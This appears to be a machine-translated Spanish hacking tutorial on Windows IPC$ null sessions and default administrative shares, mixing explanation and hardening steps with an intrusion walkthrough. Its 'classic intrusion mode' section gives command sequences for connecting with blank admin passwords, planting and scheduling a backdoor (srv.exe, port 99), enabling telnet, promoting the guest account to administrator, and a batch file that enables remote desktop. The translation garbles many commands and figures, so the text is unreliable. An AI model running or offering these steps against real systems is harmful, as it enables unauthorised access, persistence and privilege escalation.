Problema de Ipc$
IPC$ (Conexión de proceso de Internet) es * * * un recurso que disfruta de "canalizaciones con nombre" (así es como todo el mundo lo llama). Es una canalización con nombre abierta para la comunicación entre procesos. Los permisos correspondientes se pueden obtener verificando el nombre de usuario y la contraseña, que se pueden usar al administrar computadoras de forma remota y visualizar recursos * * * compartidos de la computadora.
Con IPC$, el conector puede incluso establecer una conexión vacía con el host de destino sin un nombre de usuario y contraseña (por supuesto, la otra máquina debe habilitar ipc$*** o no podrá conectarse), y con esto Con una conexión vacía, el conector también puede obtener la lista de usuarios en el host de destino (aunque el administrador responsable prohibirá exportar la lista de usuarios).
Siempre hablamos de vulnerabilidades de ipc$. De hecho, la vulnerabilidad ipc$ no es una vulnerabilidad real. Es una función de inicio de sesión remoto en la red que se activa para facilitar la administración remota por parte de los administradores. También activa el disfrute * * * predeterminado, es decir, todos los discos lógicos (C$, D$, E$)...) y. directorios del sistema winnt o windows (admin$).
La intención original de todo esto es facilitar la gestión del administrador, pero las buenas intenciones originales pueden no necesariamente tener buenos resultados para algunas personas con motivos ocultos (¿cuál es la intención? No lo sé, pronombre uno). Usará IPC$ para acceder a * * * Recursos, exportar la lista de usuarios, usará algunas herramientas de diccionario para detectar contraseñas, con la esperanza de obtener permisos más altos para lograr propósitos posteriores.
Preguntas respondidas:
1) La conexión IPC es una función única de inicio de sesión remoto en la red en Windows NT y superior, y su función es equivalente a Telnet en Unix. Debido a que la función IPC$ requiere muchas funciones DLL en Windows NT, no se puede ejecutar en Windows 9.x.
En otras palabras, solo nt/2000/xp puede establecer una conexión ipc$, pero 98/me no (pero un amigo dijo que se puede establecer una conexión vacía bajo 98, no sé si sea cierto o no, pero ahora estamos en 2003, así que sugerí que el camarada 98 cambiara el sistema, lo que hizo que 98 se sintiera infeliz).
2) Incluso si la conexión está vacía, no se puede establecer con éxito al 100%. Si la otra parte cierra ipc$***, aún no podrá establecer una conexión.
3) Esto no significa que pueda ver la lista de usuarios de la otra parte después de establecer una conexión ipc$, porque el administrador puede prohibir la exportación de la lista de usuarios.
2. El papel de establecer una conexión ipc$ en los ataques de piratas informáticos
Como se mencionó anteriormente, incluso si establece una conexión vacía, puede obtener mucha información (esto es muy importante). en caso de intrusión (a menudo indispensables) y disfrutar de algunos de ellos. Si puede iniciar sesión como usuario con ciertos permisos, obtendrá los permisos correspondientes. Evidentemente, si has iniciado sesión como administrador, oye, no hace falta que diga más, lo que quieras, puedes. !
Básicamente, se puede resumir en obtener información de destino, gestionar procesos y servicios de destino, cargar troyanos y ejecutarlos. Si es un servidor 2000, también puedes considerar abrir servicios de terminal para facilitar el control. ¿Qué tal? maravilloso. )
Pero no te alegres demasiado, porque la contraseña del administrador no es fácil de conseguir. Aunque algunos administradores idiotas utilizan contraseñas en blanco o contraseñas retrasadas, después de todo son una minoría y ya no son lo que solían ser. A medida que aumenta la conciencia de la gente sobre la seguridad, los administradores se vuelven cada vez más cautelosos y se vuelve cada vez más difícil obtener la contraseña del administrador: (
Por lo tanto, la posibilidad más probable es que tenga poco o ningún permiso para conectarse en el En el futuro, gradualmente descubrirás que la conexión ipc$ no es omnipotente. Incluso si ipc$*** no está habilitado en el host, no podrás conectarte en absoluto.
Así que creo que deberías hacerlo. No utilice la intrusión de ipc$ como arma definitiva. Creo que es invencible. Es como un pase delante de una portería en el fútbol, rara vez fatal, pero supongo que para eso sirve la conexión de ipc$. >Tres conexiones ipc$ y aéreas, puerto 139445, relación de uso compartido predeterminada * * *
La relación entre las cuatro anteriores puede ser una pregunta desconcertante para los principiantes, pero la mayoría de los artículos no la explican. De hecho, mi comprensión de ellos no es muy completa.
(Se puede decir que un BBS con un buen ambiente de discusión es un paraíso para los novatos).
1) ipc$ y conexiones vacías:
La conexión ipc$ que no requiere una El nombre de usuario y la contraseña están vacíos. Una vez que haya iniciado sesión como usuario o administrador (es decir, conexión ipc$ con nombre de usuario y contraseña específicos), la conexión no se puede llamar vacía.
Muchas personas pueden preguntar, dado que puedo conectarme por aire, entonces debería conectarme por aire en el futuro. ¿Por qué buscar contraseñas débiles? Jaja, el motivo se mencionó anteriormente. Cuando inicias sesión usando la conexión aérea, no tienes ningún permiso (muy deprimente). Cuando inicias sesión como usuario o administrador, tendrás los permisos correspondientes (quién no quiere). permisos, escanee honestamente, no sea perezoso).
2) Puerto ipc$ y 139445:
La conexión Ipc$ puede realizar inicio de sesión remoto y acceso al * * * predeterminado; la apertura del puerto 139 indica la aplicación del protocolo netbios; . Podemos acceder a archivos/impresoras a través de los puertos 139 y 445 (win2000), por lo que, en términos generales, la conexión ipc$ requiere el puerto 139 o 445 para ser compatible.
3) ipc$ y predeterminado * * *
El acceso predeterminado * * * está habilitado de forma predeterminada para facilitar la administración remota por parte de los administradores (por supuesto, puede desactivarlo), es decir , todos los discos lógicos (C$, D$, E$)...) y los directorios del sistema winnt o windows (admin$). Podemos acceder a estos * * accesos predeterminados a través de la conexión ipc$ (siempre que la otra parte no desactive estos * * * predeterminados).
Cuatro razones por las que falla la conexión ipc$
Las siguientes cinco razones son comunes:
1) Su sistema no es un sistema operativo NT o superior;
p>
2) La otra parte no ha abierto ipc$default* * *Disfruta.
3) La otra parte no abre el puerto 139 o 445 (bloqueado por el firewall).
4) La entrada de su comando es incorrecta (como faltan espacios, etc.)
5) El nombre de usuario o la contraseña son incorrectos (por supuesto, no importa si tiene una conexión vacía)
Además, también puedes analizar el motivo en función del número de error devuelto:
Error número 5, acceso denegado: Es muy probable que el usuario que estás utilizando no tiene derechos de administrador, actualice los derechos primero;
Error número 51, Windows no puede encontrar la ruta de red: hay un problema con la red;
Error número 53, no puede encontrar la ruta de red: la dirección IP es incorrecta; el destino no está encendido; el servicio lanmanserver de destino no está iniciado; el destino tiene un firewall (filtrado de puertos);
Error número 67, nombre de red no encontrado : Su servicio lanmanworkstation no se ha iniciado. El objetivo ha eliminado IPC$;
El número de error es 1219. Las credenciales proporcionadas entran en conflicto con el conjunto de credenciales existente: ya ha establecido ipc$ con la otra parte, elimínelo y vuelva a intentarlo.
Error número 1326, nombre de usuario desconocido o contraseña incorrecta: el motivo es obvio;
Error No. 1792, intenté iniciar sesión, pero el servicio de inicio de sesión de red no se inició: el servicio NetLogon de destino no se inició. (Esto ocurre cuando se conecta a un controlador de dominio).
Error número 2242. La contraseña de este usuario ha caducado: el objetivo tiene una política de cuenta que fuerza cambios periódicos de contraseña.
El problema de que ipc$ no pueda conectarse es más complicado. Además de las razones anteriores, habrá otros factores inciertos. No puedo dar una explicación detallada y clara aquí, depende de usted experimentar y experimentar.
Cómo abrir el IPC$ del objetivo (este párrafo cita artículos relacionados)
En primer lugar, necesita obtener un shell que no dependa de ipc$, como sql cmd extensión, telnet, caballo de Troya. Por supuesto, este shell debe tener permisos de administrador y luego puede usarlo para ejecutar el comando net share ipc$ para abrir el ipc$ de destino. Como se puede ver en lo anterior, todavía existen muchas condiciones para usar ipc $. Asegúrese de que todos los servicios relevantes estén funcionando. Si no sabe cómo iniciarlo (consulte el uso del comando net) o no funciona (por ejemplo, hay un firewall que no se puede eliminar), se recomienda darse por vencido.
Cómo prevenir la intrusión de ipc$
1. Prohibir la enumeración de conexiones vacías (esta operación no impide el establecimiento de conexiones vacías, citado del análisis de sesiones vacías en win2000) .
Primero ejecute regedit, busque el siguiente grupo [HKEY_Local_Machine System Current Control Settings Control] y cambie el valor clave de RestrictAnonymous = DWORD a: 00000001 (si se establece en 2, se producirán algunos problemas, por ejemplo, algunos servicios WIN, etc. ).
2 * * *El disfrute predeterminado está prohibido.
1) Consulta los recursos * * * locales.
Ejecutar-cmd-ingresar recurso compartido de red.
2) Eliminar * * *Disfrutar (ingrese uno a la vez)
Net Share IPC $/Eliminar
Net Share Tarifa administrativa/Eliminar
Participación neta c USD/eliminar
Participación neta d $/eliminar (si hay E, F,... puedes continuar eliminando)
3) Detener el servicio del servidor
p>Net stop server /y (el servicio del servidor se reiniciará después de reiniciar)
4) Modificar el registro
Ejecutar - Editar registro
Versión del servidor: busque la siguiente clave principal [HKEY_Local_Machine System Current Control Settings Service sLanmanserverParameters] y cambie el valor de la clave de AutoShareServer (DWORD) a: 00000000.
Versión Pro: busque la siguiente clave principal [HKEY_Local_Machine System Current Control Settings Service sLanmanserverParameters] y cambie el valor de la clave de AutoShareWks (DWORD) a: 0000000.
Si la clave principal mencionada anteriormente no existe, cree una nueva (haga clic derecho en Nuevo valor de doble byte) y luego cambie el valor de la clave.
3 Cierre permanentemente ipc$ y los * * * servicios dependientes predeterminados: lanmanserver es el servicio del servidor.
Panel de control-Herramientas administrativas-Servicios-Buscar el servicio del servidor (clic derecho)-Propiedades-General-Tipo de inicio-Desactivar.
4 Instale un firewall (seleccione la configuración relevante), filtre los puertos (filtre 139, 445, etc.) o use una nueva versión de Optimizer.
5. Establezca contraseñas complejas para evitar que se establezcan contraseñas detalladas a través de ipc
Siete órdenes relacionadas
1) Establezca una conexión vacía:
Net use \IPipc$ "" /user:" "(Cabe señalar que esta línea de comando contiene 3 espacios).
2) Establecer una conexión no vacía:
net use\IPI PC$ "nombre de usuario"/usuario:"contraseña" (también tiene 3 espacios)
3) asignación predeterminada * * *Disfruta:
Net usa z: \IPc$ "contraseña" /usuario:"nombre de usuario" (es decir, puedes asignar la unidad c de la otra parte a tu propia unidad Z , y otras unidades, etc.).
Si se ha establecido una relación ipc$ con el objetivo, puede acceder a ella directamente usando IP+letra de unidad+$. El comando específico es net use z: \IPc$.
4) Eliminar una conexión ipc$
Uso de red \IPipc$ /del
5) Eliminar * * * asignación compartida.
El uso neto c: /del elimina el disco C mapeado, y así sucesivamente.
Net use * /del para eliminar todo, se le pedirá que presione Y para confirmar.
Ocho modos de intrusión clásicos
Este modo de intrusión es tan clásico que la mayoría de los tutoriales de IPC lo han introducido, así que lo citaré.
¡Gracias al autor original! (No sé cuál es el mayor)
1. C:>;net use \ 127 . 1 IPC $ " "/user:" admin titrator"
. Esta es una dirección IP escaneada por el transmisor con un nombre de usuario de administradores y una contraseña "vacía" (¿contraseña vacía? Vaya, buena suerte, si planeas atacar, puedes usar este comando para establecer una conexión con 127.0.0.1 porque). la contraseña está “vacía””, por lo que no es necesario ingresar la primera comilla, el nombre de usuario está en la siguiente comilla doble. Ingrese administradores y el comando se completará exitosamente.
2. C:>; Copie srv.exe \ 127 0 0 1 admin $
Copie srv.exe, que se puede encontrar en el directorio de Herramientas de Streamer. (aquí $ se refiere a c:winntsystem32 del usuario administrador. También puede usar c$ y d$ para representar la unidad c y la unidad D, dependiendo de dónde desee copiar).
3.C:>;Net time\127.0.0.1
Compruebe la hora y descubra que la hora actual de 127.0.0.1 es 165438+0:00 de la mañana de marzo. 2002. El comando se completó con éxito.
4.C:>; en srv.exe
Utilice el comando at para iniciar srv.exe (el tiempo establecido aquí es más rápido que el tiempo del host; de lo contrario, cómo iniciarlo). ? ¡Jaja!
5.C:>;Tiempo neto\127.0.0.1
Comprueba de nuevo. ¿Encontraste la hora si la hora actual de 127.0.0.1 es 11:05? el 19/03/2002, luego prepárese para iniciar el siguiente comando
6. Inicio de sesión remoto 127.0.0.1 99
Tenga en cuenta que el puerto Telnet es 99. 23, pero nosotros. usé SRV para construir un Shell de 99 puertos para nosotros en otra computadora.
Aunque podemos utilizar Telnet, SRV es único y se activará la próxima vez que inicie sesión. ¡Así que configuraremos un servicio Telnet! ! Esto usará ntlm. Sube ntlm.exe al host (ntlm.exe también está en el directorio de herramientas Streamer)
8.c:win ntsystem 32>ntlm
Ingresa ntlm. inicio (c aquí). :win ntsystem 32 >; se refiere a la computadora de la otra parte. La ejecución de ntlm en realidad hace que este programa se ejecute en la computadora de la otra parte. Cuando aparece "DONE", significa que se ha iniciado normalmente. net start Telnet" para iniciar el servicio Telnet. !
9. Telnet 127.0.0.1, y luego ingrese el nombre de usuario y la contraseña para ingresar a la otra parte. ¡La operación es tan simple como operar en DOS! Entonces ¿Qué quieres hacer? Jaja) >
Agregaremos la activación de invitados al grupo de administración por si acaso.
10.C:>;Usuario de red invitado/actividad: Sí
Activar el usuario invitado de la otra parte.
11.C:>;Netizen guest 1234
Cambie la contraseña de Invitado a 1234, o la contraseña que desee establecer.
12. C:>net local group Administrator Guest/Add
Cambie el invitado a Administrador^_^ (Si se cambia la contraseña del administrador, pero no se cambia la cuenta de invitado, Podemos usar el invitado para acceder a esta computadora nuevamente la próxima vez.
El IPC del asador del servidor 2000 abre el comando por lotes de compilación 3389.
echo[component]>c:sql
echo TSEnable = on >& gtc:sql
sysocmgr/I:c:winntinfsysoc .INF/ Después de u :c:SQL/q
la hora neta se transmite a la máquina de la otra parte mediante IPC, se obtiene la hora de la máquina de la otra parte y luego ejecuta este lote de comandos.
Después de cinco o seis minutos, la máquina de la otra parte se reiniciará y podrás aterrizar en 3389.
Texto